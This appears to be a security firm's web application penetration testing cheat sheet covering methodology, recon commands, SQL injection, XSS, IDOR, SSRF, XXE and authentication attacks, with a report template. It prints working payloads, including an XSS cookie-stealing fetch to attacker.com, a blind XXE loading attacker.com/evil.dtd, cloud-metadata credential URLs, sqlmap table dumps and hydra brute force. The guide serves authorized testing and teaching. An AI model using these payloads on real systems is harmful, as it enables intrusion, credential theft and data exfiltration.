[01] OFFENSIVE

Web Application Penetration Testing

// Cheat Sheet & Reference · Updated August 2026 · CMTA Cyber

Overview

Web application penetration testing is the process of simulating real-world attacks against web applications to identify security vulnerabilities before malicious actors do. Unlike automated scanning, professional web app pentesting combines tool-assisted discovery with deep manual analysis to uncover business logic flaws, complex attack chains, and vulnerabilities that scanners routinely miss.

This reference covers the core methodology, OWASP Top 10 vulnerabilities, common attack techniques, and the toolset used by professional web application security testers.

// Scope First

Always obtain written authorization before testing any web application. Define scope, test environments, and rules of engagement in writing before beginning any engagement.

Testing Methodology

Professional web application pentesting follows a structured methodology to ensure comprehensive coverage. The phases below align with the OWASP Web Security Testing Guide (WSTG) and industry best practices.

Phase	Activities	Key Outputs
1. Reconnaissance	Passive and active information gathering, technology fingerprinting, subdomain enumeration, directory brute forcing	Attack surface map, technology stack, entry points
2. Mapping	Spider/crawl application, identify all endpoints, parameters, and functionality. Map authentication flows and user roles	Application map, parameter list, auth flow diagram
3. Discovery	Automated scanning with Burp Suite Active Scanner, manual testing of all identified parameters and functions	Preliminary finding list
4. Exploitation	Manually verify and exploit identified vulnerabilities, chain findings for maximum impact demonstration	Verified PoC for each finding
5. Post-Exploitation	Demonstrate impact - data accessible, privilege escalation possible, lateral movement paths	Impact evidence, screenshots, data samples
6. Reporting	Document findings with CVSS scores, reproduction steps, business impact, and remediation guidance	Executive summary + technical report

Reconnaissance Commands

# Technology fingerprinting
whatweb https://target.com
wappalyzer https://target.com

# Subdomain enumeration
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com
assetfinder --subs-only target.com

# Directory and file brute forcing
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
     -u https://target.com/FUZZ -mc 200,301,302,403

# JavaScript file discovery
gau target.com | grep "\.js$"
katana -u https://target.com -jc

# Parameter discovery
arjun -u https://target.com/api/endpoint
paramspider -d target.com

OWASP Top 10 (2021)

The OWASP Top 10 represents the most critical web application security risks. Every professional web app pentest should cover all ten categories as a minimum baseline.

ID	Vulnerability	Severity	Common Impact
A01	Broken Access Control	Critical	Unauthorized data access, privilege escalation
A02	Cryptographic Failures	Critical	Sensitive data exposure, credential theft
A03	Injection (SQLi, NoSQLi, LDAP)	Critical	Data theft, authentication bypass, RCE
A04	Insecure Design	High	Business logic bypass, architectural flaws
A05	Security Misconfiguration	High	Information disclosure, unauthorized access
A06	Vulnerable Components	High	Known CVE exploitation
A07	Auth & Session Failures	Critical	Account takeover, session hijacking
A08	Software & Data Integrity Failures	High	Supply chain attacks, deserialization
A09	Security Logging Failures	Medium	Undetected breaches, audit gaps
A10	Server-Side Request Forgery	High	Internal network access, metadata exposure

SQL Injection (SQLi)

SQL injection occurs when untrusted data is sent to an interpreter as part of a command or query. A successful SQLi attack can read sensitive data, modify database data, execute admin operations, and in some cases achieve remote code execution.

Detection - Manual Testing

# Basic error-based detection
'
''
`
')
'))
-- -
#
/*
;--
' OR '1'='1
' OR 1=1--
" OR ""="
' AND 1=2--

# Boolean-based blind
' AND 1=1--   (true condition)
' AND 1=2--   (false condition - different response = injectable)

# Time-based blind
'; WAITFOR DELAY '0:0:5'--     (MSSQL)
'; SELECT SLEEP(5)--            (MySQL)
'; SELECT pg_sleep(5)--         (PostgreSQL)

Automated Testing with SQLmap

# Basic scan on GET parameter
sqlmap -u "https://target.com/page?id=1" --dbs

# POST request
sqlmap -u "https://target.com/login" \
       --data="username=test&password=test" --dbs

# With Burp Suite request file
sqlmap -r request.txt --dbs --level=5 --risk=3

# Dump specific database
sqlmap -u "https://target.com/page?id=1" \
       -D database_name --tables

# Dump specific table
sqlmap -u "https://target.com/page?id=1" \
       -D database_name -T users --dump

# Bypass WAF
sqlmap -u "https://target.com/page?id=1" \
       --tamper=space2comment,between --dbs

// Impact Note

SQL injection is the most dangerous web vulnerability class. A single injectable parameter can lead to full database compromise, authentication bypass, and in some configurations, OS-level code execution via xp_cmdshell (MSSQL) or UDF (MySQL).

Cross-Site Scripting (XSS)

XSS vulnerabilities allow attackers to inject malicious scripts into web pages viewed by other users. There are three main types: Reflected, Stored, and DOM-based. Stored XSS is the most critical as it persists and affects all users who view the affected content.

XSS Types

Type	Description	Severity
Reflected	Payload reflected immediately in response. Requires user to click malicious link.	High
Stored	Payload stored in database and served to all users. No user interaction required beyond visiting page.	Critical
DOM-Based	Payload executed via client-side JavaScript. Never reaches the server - harder to detect.	High

Common XSS Payloads

# Basic alert (proof of concept)
<script>alert(1)</script>
<script>alert(document.domain)</script>

# Filter bypass techniques
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<details open ontoggle=alert(1)>

# WAF bypass
<ScRiPt>alert(1)</ScRiPt>
<script>alert`1`</script>
<svg/onload=alert(1)>
<img src=x onerror="alert(1)">

# Cookie stealing (impact demonstration)
<script>
  fetch('https://attacker.com/steal?c='+document.cookie)
</script>

# DOM-based sinks to check
document.write()
innerHTML
document.location
eval()
setTimeout()
location.href

Insecure Direct Object Reference (IDOR)

IDOR vulnerabilities occur when an application uses user-controlled input to access objects directly without proper authorization checks. Despite being conceptually simple, IDOR is consistently one of the highest-paid bug bounty vulnerability classes due to its direct business impact.

IDOR Testing Methodology

Create two accounts (attacker and victim) with different privilege levels
Identify all object references - numeric IDs, GUIDs, filenames, usernames in URLs and request bodies
As attacker, attempt to access victim's resources by substituting their object reference
Test horizontal (same privilege level) and vertical (different privilege level) access control
Check encoded references - base64, hashed IDs, GUIDs
Test HTTP method switching - GET vs POST vs PUT vs DELETE

# Common IDOR patterns to test
GET /api/users/1234/profile        → change to /api/users/1235/profile
GET /invoices/download?id=4521     → change to ?id=4522
POST /api/messages {"to_user": 99} → change to another user ID

# GUID-based IDOR
GET /api/documents/550e8400-e29b-41d4-a716-446655440000

# Parameter pollution
GET /api/profile?user_id=attacker&user_id=victim

# Mass assignment - send extra fields
{"username": "attacker", "role": "admin"}

# Burp Suite Intruder for IDOR enumeration
# Set payload position on object ID
# Use number list 1-1000
# Filter responses by Content-Length difference

Server-Side Request Forgery (SSRF)

SSRF vulnerabilities allow attackers to induce the server-side application to make requests to unintended locations. This can be used to access internal services, cloud metadata endpoints, and bypass firewalls.

SSRF Testing

# Cloud metadata endpoints (high value targets)
http://169.254.169.254/latest/meta-data/              # AWS
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/computeMetadata/v1/   # GCP
http://169.254.169.254/metadata/instance?api-version=2021-02-01  # Azure

# Internal network scanning
http://127.0.0.1/
http://localhost/
http://192.168.1.1/
http://10.0.0.1/

# Protocol smuggling
file:///etc/passwd
dict://127.0.0.1:6379/info    # Redis
gopher://127.0.0.1:25/        # SMTP

# SSRF bypass techniques
http://127.0.0.1:80
http://0x7f000001/             # Hex encoding
http://2130706433/             # Decimal encoding
http://127.1/                  # Shorthand
http://[::1]/                  # IPv6

XML External Entity (XXE)

XXE vulnerabilities occur when XML input containing a reference to an external entity is processed by a weakly configured XML parser. XXE can lead to sensitive file disclosure, SSRF, and in some cases RCE.

XXE Payloads

<!-- Basic file read -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>

<!-- Windows file read -->
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
]>

<!-- SSRF via XXE -->
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>

<!-- Blind XXE with out-of-band exfiltration -->
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>

Broken Authentication

Authentication vulnerabilities allow attackers to compromise passwords, keys, or session tokens, or exploit implementation flaws to assume other users' identities.

Authentication Testing Checklist

Username enumeration - different responses for valid vs invalid usernames
Password brute force - no lockout or rate limiting on login endpoint
Default credentials - admin/admin, admin/password, test/test
Weak password policy - accepts single character or common passwords
Session fixation - session ID not rotated after login
Insecure session tokens - predictable, short, or unencrypted tokens
Insecure remember me - persistent tokens stored insecurely
JWT vulnerabilities - alg:none attack, weak secret, kid injection
OAuth misconfigurations - state parameter missing, redirect URI not validated
Password reset flaws - predictable tokens, host header injection, no expiry

# JWT testing
# Decode JWT without verification
echo "eyJ..." | base64 -d

# Test alg:none attack
# Change algorithm to "none" and remove signature

# Brute force JWT secret
hashcat -a 0 -m 16500 jwt.txt wordlist.txt

# Password brute force with hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
      target.com http-post-form \
      "/login:username=^USER^&password=^PASS^:Invalid credentials"

# Username enumeration timing attack
# Measure response time for valid vs invalid usernames

Essential Tools

Tool	Purpose	Cost
Burp Suite Community	Proxy, intercept, manual testing, repeater	Free
Burp Suite Pro	Active scanner, intruder, collaborator	Paid
OWASP ZAP	Open source web app scanner and proxy	Free
SQLmap	Automated SQL injection detection and exploitation	Free
ffuf	Fast web fuzzer for directory, parameter, and vhost discovery	Free
Nikto	Web server scanner for misconfigurations and known vulnerabilities	Free
Nuclei	Template-based vulnerability scanner, AI-assisted payload generation	Free
Subfinder	Passive subdomain enumeration	Free
Amass	Active and passive attack surface mapping	Free
Katana	JavaScript-aware web crawler	Free
Caido	Modern Burp Suite alternative, built-in AI assistance	Free/Paid
Arjun	HTTP parameter discovery	Free

Burp Suite Essential Extensions

Autorize - automated authorization testing across privilege levels
Param Miner - discovers hidden parameters and headers
JWT Editor - JWT manipulation and attack tooling
Turbo Intruder - high-speed HTTP requests for race conditions
Upload Scanner - file upload vulnerability testing
Hackvertor - encoding/decoding transformations
Logger++ - advanced request/response logging

Reporting Standards

A professional web application pentest report contains two components - an executive summary for non-technical leadership and a technical findings section for the development and security team.

CVSS Severity Ratings

Score	Severity	Action
9.0 - 10.0	Critical	Immediate remediation required
7.0 - 8.9	High	Remediate within 30 days
4.0 - 6.9	Medium	Remediate within 90 days
0.1 - 3.9	Low	Remediate in next release cycle
0.0	Info	Informational - no immediate action

Finding Template

FINDING: [Vulnerability Name]
Severity: Critical / High / Medium / Low
CVSS Score: X.X (CVSSv3.1)
CVSSv3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

DESCRIPTION:
Brief description of the vulnerability and why it exists.

AFFECTED ENDPOINT:
https://target.com/vulnerable/endpoint

STEPS TO REPRODUCE:
1. Navigate to affected endpoint
2. Submit the following payload: [payload]
3. Observe [response/behavior]

PROOF OF CONCEPT:
[Screenshot or response showing exploitation]

IMPACT:
Business impact of successful exploitation.

REMEDIATION:
Specific remediation guidance for developers.

REFERENCES:
- OWASP: https://owasp.org/...
- CWE-XXX: [CWE description]

// Need a Web App Pentest?

CMTA Cyber provides professional web application penetration testing with AI-assisted tooling and expert manual analysis. Contact us to discuss your engagement.

Web Application Penetration Testing

Overview

Testing Methodology

Reconnaissance Commands

OWASP Top 10 (2021)

SQL Injection (SQLi)

Detection - Manual Testing

Automated Testing with SQLmap

Cross-Site Scripting (XSS)

XSS Types

Common XSS Payloads

Insecure Direct Object Reference (IDOR)

IDOR Testing Methodology

Server-Side Request Forgery (SSRF)

SSRF Testing

XML External Entity (XXE)

XXE Payloads

Broken Authentication

Authentication Testing Checklist

Essential Tools

Burp Suite Essential Extensions

Reporting Standards

CVSS Severity Ratings

Finding Template

API Security Testing

Bug Bounty Methodology

OSINT Toolkit

Cyber Exercises